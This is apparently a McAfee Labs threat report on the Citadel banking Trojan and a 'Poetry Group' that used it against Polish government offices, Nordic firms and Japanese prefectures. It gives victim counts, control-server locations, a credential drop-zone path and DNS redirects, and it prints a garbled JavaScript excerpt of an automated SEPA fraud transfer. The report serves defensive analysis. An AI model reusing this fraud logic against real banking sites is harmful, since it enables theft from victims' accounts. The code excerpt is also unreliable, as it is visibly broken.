Inside the World of the Citadel Trojan

By Ryan Sherstobitoff
McAfee Labs
Table of Contents

Executive Summary 3
Citadel Still Working 3
Targeted Attacks Using Citadel 6
  Emergence of the Poetry Group: October 14–December 6, 2012 9
Citadel Campaign #1: December 22, 2012–January 6, 2013 10
Citadel Campaign #2: December 25–30, 2012 11
Financial Fraud and Other Activities 13
Odd Redirection 14
Attribution 14
Conclusion 14
Appendix: Expanding to Asia 15
  Citadel Campaign #3: January 13–22, 2013 15
About the Author 16
About McAfee Labs 16
Executive Summary
Zeus “banking” malware and its variants have been making headlines in recent months. One variant, the Citadel Trojan, has now taken the spotlight with the news of its withdrawal from the open crimeware market.

Recently the author of Citadel, Aquabox, has been banned from a large online forum that sells malware and other services to cybercriminals. Some in the security industry predict that this will be the downfall of the Citadel Trojan; this very well may be the case. However, at the moment McAfee Global Threat Intelligence shows that Citadel remains a very active threat and continues to target victims in several countries. As with any sophisticated malware—such as Zeus and SpyEye—that ceases development, this Trojan’s use will continue as long as it provides value to cybercriminal operations.

McAfee Labs concludes that some groups have shifted tactics to use Citadel in ways other than what it was originally intended for. We also see from our telemetry data gathered from the field that Citadel still remains active in many parts of the world.

Citadel Still Working
In this paper we analyze how Citadel is being used, who is using it, and what type of targets it focuses on. We examine where in the world this Trojan is most prevalent, based on collected telemetry, and what its most common targets are. We also offer a sense of how active the Trojan is despite media reports that the author of Citadel has been banned from a large cybercriminal forum.

We can confirm that Citadel is being used in cases involving information theft (in targeted attacks) and not solely for stealing from online banking activities. Several key findings give us an interesting perspective on Citadel today:

• Citadel has many uses other than just stealing money. We have observed targeted attacks, especially of government organizations. This usage goes beyond the norm of financially motivated crimeware.

• The victims are primarily in Europe

• We have just learned of an attack in January on government offices in Japan. See Appendix for details.

• Groups using Citadel have targeted mainly commercial entities or government agencies, with little focus on consumers

It is difficult to determine how many groups are still using Citadel. It has been on the open market for some time and has been following the trend of going private. But it is clear that Citadel remains a threat not only to the financial services industry, but also to any corporation. Tracking reported infections using McAfee Global Threat Intelligence, we have a sense of Citadel’s current distribution rate, the areas it targets, and the general profile of its victims. The Trojan is most prevalent in European countries. With our current data we have identified fewer than a dozen victims in the United States compared with more than 500 in Europe.

That is still a rather low number considering that Zeus Gameover has thousands of victims across the globe. Why is there such a small number of infections from Citadel?

• Citadel has for many months been sold to new customers through referrals from a select group of trusted criminals (the inner circle)

• The Trojan has been moving from public sites toward private distribution since June 2012

• The users of this Trojan tend to follow a specific targeting strategy when executing a campaign

Our analysis was made across 300 samples of Citadel that were considered active in the wild; this sample set led us to the conclusion, based on the associated telemetry, that these variants primarily found victims in Europe.
Figure 1. Worldwide proliferation of Citadel.

Figure 2. Proliferation of Citadel in Europe.
Zeus Gameover has a large number of victims across the globe, in the tens of thousands, and is often delivered by the Blackhole exploit kit through spam runs that are commonplace. Gameover doesn’t seem to seek special targets; on the other hand gangs that use Citadel tend to be very population specific, targeting countries and even specific cities with this advanced Trojan. Variants of Citadel have struck victims in a single country and, in some cases, a single city.

We observed a Spanish campaign that used a single variant of Citadel to target the city of Madrid. The malware was distributed to fewer than a dozen victims. No prior or later samples were related to this campaign, and we consider this incident isolated. The targets were selected for reasons unknown. This case helps us see that Citadel is being used for interests other than financial crime. This is rather unusual for a financial Trojan unless the attackers are targeting high-value assets (businesses with large commercial accounts, etc.), or this is a targeted attack and the victims have been selected for specific reasons. Additionally it’s clear based on our telemetry data that the gangs using Citadel are not targeting consumers in general; rather, the targets are businesses and government entities. Some campaigns involving government targets lack a malware configuration file containing banking targets; in these cases it is likely Citadel is being used for purposes other than financial fraud. Citadel has a notable proliferation in Europe; Germany and the Netherlands are countries of great interest to cybercriminals.
Targeted Attacks Using Citadel

Why would cybercriminals use a Trojan designed for committing financial fraud in a targeted attack? There could be several reasons, with two standing out:

• Harvesting credentials from internal applications, banking system applications, manufacturing systems, etc. that could be used in a later attack against those applications
• An advanced persistent threat data exfiltration using already established botnet control infrastructure

Although those theories are certainly plausible, we think based on the data that there are two types of groups using Citadel:

• The traditional fraudster working solely for financial gain (these are likely to make up a majority of the attacks)
• Groups with interests in data/assets that could be exfiltrated

Citadel was originally developed and marketed as a banking Trojan and that remains its primary use today. We have seen a recent shift in Citadel activity that leads us to believe that some groups are using Citadel for reasons different than its original purposes.

Citadel has features that extend beyond targeting customers of financial institutions. The malware can collect anything from a victim’s PC. Citadel Version 1.3.45, the “Extreme Edition,” contains functionality allowing a simplified virtual network computing (remote control) connection to the victim. In other words the Trojan will establish (automatically if need be) from the control panel a hidden channel of communication with the victim’s PC.

Version 1.3.45 has a feature that will automatically establish a remote connection with botnets that are online, making it possible to script attacks against different targets.

We typically don’t see banking malware used for purposes other than stealing money from victims. This is the first time we have seen banking Trojans used as part of a targeted attack. In two campaigns documented later in this research that targeted Denmark, Sweden, and Poland, Citadel was used for purposes other than just financial crime (although that also occurred). The targets involved in these campaigns consist of numerous commercial and government entities.

When analyzing the samples involved in these attacks, we can see several commonalities that link the activities together and to a group:

• Unique strings (beyond the common Citadel ones) that appear in the malicious process memory are consistent among the various samples
• They use a common URL path (regardless of domain or geo-location) for the drop zone
• The motivation is clearly concentrated on targeting government offices in Poland and commercial entities in Denmark and Sweden
• Each of the three distinct campaigns target the same Nordic countries, but during different times, on different targets, from distinct control servers

This group embeds somewhat poetic strings of text written in old English in the Citadel binaries used in the attacks. This characteristic has been found consistently among the binaries and contains certain paragraphs of text that appear in memory associated with the malicious process running. These strings do not appear in other campaigns that have been observed in Europe; thus we can determine a specific group is behind these campaigns. When one of the variants used in an active campaign makes mention of Denmark specifically, Denmark is one of the countries targeted in this attack.

Why seems it so particular with thee? And sure I am two men there are not living. Mark you, Cudgel thy brains no more about it, for your dull ass will. Where is the beauteous majesty of Denmark? I pray you go with me. No, my good lord. A Norman. For art and exercise in your defense.
It is possible that the group behind these campaigns is of English origin given the numerous statements referencing England and English kings.

That flesh is heir to,—tis a consummation oMy mother: father and mother is man and wife;
man and wife is one flesh; and so, my mother.--Come, for England!

My lord, his majesty commended him to you by young Osric. The heartache, and the thousand natural shocks

The purpose or meaning of these embedded sayings is unclear, but it is clear that this is a unique aspect to these infections. It also provides insight into the possible origin of the fraudsters. From our analysis we found four unique Citadel binaries used by this group that contained embedded text and several more that communicated to the same control infrastructure. The “Poetry Group” has also specifically hardcoded into the variants a list of Polish domains to be monitored that are clearly targets. From our analysis we see these domains are in monitor-only mode, using a commonly available DLL to import functions and specify that if the URL string of one of these domains appears in the browser then the malware will trigger.

The Polish domains belong to various government offices, with the bulk of them local city governments. The malware monitors these top-level government domains to trigger on subdomains that contain access to secure areas. Once systems are infected, this group can begin to harvest credentials for later use. Of course there is sensitive information behind these areas that would be compromised if accessed. Through further analysis, it is clear that many of these sites go to secure portals belonging to email and other systems of government offices.

The malware included domains belonging to 48 local government offices across the country within its binary.

Figure 4. Government offices targeted by the Poetry Group.
In this attack, the group used a widely dispersed network of servers that spanned multiple countries around the globe.

![Figure 5. Global distribution of control servers used by the Poetry Group.](image)

The victims have been identified using McAfee Global Threat Intelligence telemetry from end points reporting a specific infection belonging to a variant of Citadel. Using this telemetry information we were able to map several distinct campaigns associated with this group. Furthermore, many of the control servers were hosted in the United States, but targeted only Denmark, Sweden, and Poland. Furthermore, even though the control servers operated from various parts of the world with a concentration in the United States, we noticed that they used a consistent path for credential drop zones. This path is a common denominator with all control servers used by this group, regardless of the hosting country or domain.

* /citdl/newmixpfiit/gtwww.php

![Figure 6. Poetry Group targets by industry sector.](image)
Emergence of the Poetry Group: October 14–December 6, 2012

The Poetry Group started with a campaign against Poland. This group used Citadel Version 1.3.5.1 in this campaign and distributed it to fewer than 25 victims across the country. Using McAfee Global Threat Intelligence to gather telemetry, we determined the spread rate for this malware and the targets involved. The targets included local government in numerous cities across the country, which gave us a clear indication that this group was interested in something more than just financial gain. The control server was located in Kuala Lumpur, Malaysia, at the time of the attack.

Figure 7. Poland campaign victims.
This campaign targeted four countries. Our telemetry data gathered from the field found 156 victims were infected with a single variant of Citadel. Poland was the leading country.

Table 1. Citadel Campaign #1 targets by country.

<table>
<thead>
<tr>
<th>Country</th>
<th>Number of Infected Victims</th>
</tr>
</thead>
<tbody>
<tr>
<td>Poland</td>
<td>71</td>
</tr>
<tr>
<td>Denmark</td>
<td>44</td>
</tr>
<tr>
<td>Sweden</td>
<td>29</td>
</tr>
<tr>
<td>Spain</td>
<td>12</td>
</tr>
</tbody>
</table>

Our analysis found that the malware included 48 Polish government domains to monitor. Many of them could be tied directly to cities in which victim IPs reported infections and could be correlated geographically with monitored targets. This campaign used two control servers, one in Miami, Florida, and one in Finland; however, both resolved to the same domain name (as in other campaigns by this group).

The variant used in this campaign was discovered in the wild on December 22, 2012, with telemetry data showing victims as recently as January 2013.

Figure 8. Victims of Citadel Campaign #1.
Citadel Campaign #2: December 25–30, 2012
This group continued with a second campaign using the same domain, but with different servers, infecting 36 victims across three countries, again with a focus on Polish targets. The malware samples in this campaign also monitored an extensive list of Polish government domains across the country, as in the first campaign. Many unique victims from Poland were in locations in which a local government office that was a monitored target was also present, in similar fashion to Campaign #1.

Table 2. Citadel Campaign #2 targets by country.

<table>
<thead>
<tr>
<th>Country</th>
<th>Number of Infected Victims</th>
</tr>
</thead>
<tbody>
<tr>
<td>Poland</td>
<td>19</td>
</tr>
<tr>
<td>Denmark</td>
<td>10</td>
</tr>
<tr>
<td>Sweden</td>
<td>7</td>
</tr>
</tbody>
</table>

Two malware samples communicated with two control servers that pointed at a single domain. One of the servers was located in Abbotsford, British Colombia, and the other in Germany. At the time of this writing the control servers were online and accessible.

Figure 9. Victims of Citadel Campaign #2.
The control server in Abbotsford hosted numerous other domains linked to various Zeus and Ice IX activity. Two additional domains that we found in our research also pointed to the two control servers and were used in these campaigns.
Financial Fraud and Other Activities

In addition to the attacks on Polish government targets, we found other noteworthy activity regarding Citadel. The malware in these campaigns included a rather small configuration file of 8KB that revealed targets in addition to Polish government entities. Although financial fraud is not the primary motive of the Poetry Group, it appears (from the direct correlation with the monitored URLs) that they attempted to steal money from some victims who are employees of these government entities. The Poetry Group used a specialized attack written entirely in JavaScript and retrieved dynamically. Furthermore, we found evidence within the configuration file referencing a remote server, and the JavaScript code resembled a sophisticated attack using an Automated Transfer System (ATS) that targeted customers of one of Poland’s leading financial institutions. The server hosting this remote JavaScript and transaction server is located in St. Petersburg, Russia.

We suspect the Poetry Group has no intention of trying to manually conduct fraud using stolen credentials. Their use of sophisticated balancing grabbing techniques lets them determine targets with significant assets. Their use of ATS is a clear smash-and-grab strategy to steal funds as soon as a victim logs into an account.

As we have seen with other types of attacks, this one includes code to automatically perform SEPA transactions.

```javascript
function h_fill_sepa_pay1()
{
    getDropPull('function()
    {
        if (window.alert7.drop)
        {
            fail('cancelled'; ['events'.'no drop']);
            return;
        }
        var src_ac = getModeByld('src_ac');
        var name = getModeByld('ben_name');
        var title = getModeByld('pay_title');
        var iad = getModeByld('ben_iad');
        var swift = getModeByld('bank_bank_code');
        var country = getModeByld('ben_country');
        var amount = getModeByld('amount_parti');
        var currency = getModeByld('amount_parti');
        var payer = getModeByld('paying_party_OB');
        var curr_date = getModeByld('curr_date_overnight');
        var part = getMode('paying_party_OB');
        var currency = getMode('curr_date_overnight');
        if (name || title || iad || country || amount || currency)
        {
            return true;
        }
        if (src_ac)
        {
            return false;
        }
        var ac_selected = false;
        for (var i = 0; i < src_ac.options.length; i++)
        {
            if (i != ac_selected)
            {
                if (src_ac.options[i].text, window.alert7.drop, true)
                {
                    src_ac.options[i].selected = true;
                    break;
                }
            }
        }
        if (src_ac_selected)
        {
            fail('script_error', ['message': 'Cannot select account for sepa payment', 'url': 'url: location, true']);
        }
    }
}
```

Figure 12. JavaScript code for an automated SEPA transfer.
Odd Redirection
The malware's configuration file also has a number of DNS redirects that prevent victims from accessing certain sites. This list of DNS redirects included several leading security vendors. What stood out, however, was the inclusion of a number of specific international law enforcement and government domains.

Some of these domains deal specifically with cybercrime. The following sites were redirected when the victims attempted to access their URLs.

- Major UK police force
- Major UK financial services regulation authority
- EU International police force
- European network security agency

Attribution
The Poetry Group gets its name from the poetic strings included in the unique Citadel samples we analyzed. The identifying strings give us clues as to the possible origin of this group. These strings make reference to England and English kings in addition to Shakespearian works; thus the group might be English.

No other campaign that we observed during our research included these unique strings, which appear only in the malicious process memory. The group continues to use a fast-flux botnet with multiple control servers. The executable presently hosted was compiled on December 22, 2012, and is the variant active at this time. This group primarily targets the Polish government with the likely goal of stealing information or dropping additional malware.

Their latest text includes a passage from Shakespeare's *Hamlet*.

> The king, sir— the nights are wholesome; then no planets strike, O, yet defend me, friends! I am Ho, Guildenstern! Bring in my lord. But hurt. Ay, that incestuous, that adulterate beast, Stand dumb, and speak not to him. This to me or like a whale. Ho, Guildenstern! Bring in my lord. Most humbly do I take my leave, my lord? As hell, whereto it goes.

> My mother stays: We both obey. But who, O who, had seen the mobled queen, -- As peace should still her wheaten garland wear. With all my love I do commend me to you: But in our circumstance and course of thought, I had forgot: tis so concluded on.

Conclusion
Citadel is considered an emerging threat to not only the financial services industry, but to other industries as well. Not only does Citadel give cybercriminals advanced remote connectivity, but it also gives them the ability to dynamically decide what target to engage.

Citadel is being withdrawn from the open market and some consider this to be its death knell. Nonetheless, we suspect that the Trojan will continue in use. We also expect that its targets will shift as more cybercriminals realize the benefits of Citadel go beyond financial fraud. There is a significant amount of recent activity—as late as January 13, 2013—to suggest that private customers will continue to use Citadel to attack businesses and government organizations.
Appendix: Expanding to Asia
As we have already observed from other Poetry Group activities, they focus on government entities. The group uses Citadel in ways that go beyond financial fraud, operating campaigns that target information of value. This is certainly the case in a recent attack on the Japanese government.

Citadel Campaign #3: January 13–22, 2013
Starting in December last year the Poetry Group targeted government entities in Poland and commercial entities in Denmark and Sweden. In recent weeks they have expanded their activity to Japan—making this a truly global phenomenon. McAfee Labs found evidence of a new campaign targeting Japanese prefectures, government offices located in various cities across the country. These administrative offices are similar to state-level offices in the United States. With this attack, it is clear that the Poetry Group intends to selectively target government agencies around the world using Citadel. From our analysis of telemetry data gathered from the field from January 13 through January 22, we were able to identify 16 government offices involved in this attack. Furthermore, the Citadel variant used in this attack was discovered in the wild on January 13, and connects to the same infrastructure used in the Poland campaigns.

The Citadel variant compiled on January 9 included several lines of poetic text.

I’ll blessing beg of you.--For this same lord. As gaming, my lord. With heraldry more dismal;
head to foot.

Scene III. Another room in the Castle.

And in the morn and liquid dew of youth.

Folded the writ up in the form of the other;
About the Author
Ryan Sherstobitoff is a threats researcher with McAfee Labs. Formerly, he was Chief Security Strategist at Panda Security, where he managed the US strategic response for new and emerging threats. Sherstobitoff is widely recognized as a security and cloud computing expert.

About McAfee Labs
McAfee Labs is the global research team of McAfee. With the only research organization devoted to all threat vectors—malware, web, email, network, and vulnerabilities—McAfee Labs gathers intelligence from its millions of sensors and its cloud-based service McAfee Global Threat Intelligence.™ The McAfee Labs team of 500 multidisciplinary researchers in 30 countries follows the complete range of threats in real time, identifying application vulnerabilities, analyzing and correlating risks, and enabling instant remediation to protect enterprises and the public. http://www.mcafee.com/labs

About McAfee
McAfee, a wholly owned subsidiary of Intel Corporation (NASDAQ:INTC), is the world’s largest dedicated security technology company. McAfee delivers proactive and proven solutions and services that help secure systems, networks, and mobile devices around the world, allowing users to safely connect to the Internet, browse, and shop the web more securely. Backed by its unrivaled global threat intelligence, McAfee creates innovative products that empower home users, businesses, the public sector, and service providers by enabling them to prove compliance with regulations, protect data, prevent disruptions, identify vulnerabilities, and continuously monitor and improve their security. McAfee is relentlessly focused on constantly finding new ways to keep our customers safe. http://www.mcafee.com

1 http://www.f-secure.com/weblog/archives/00002424.html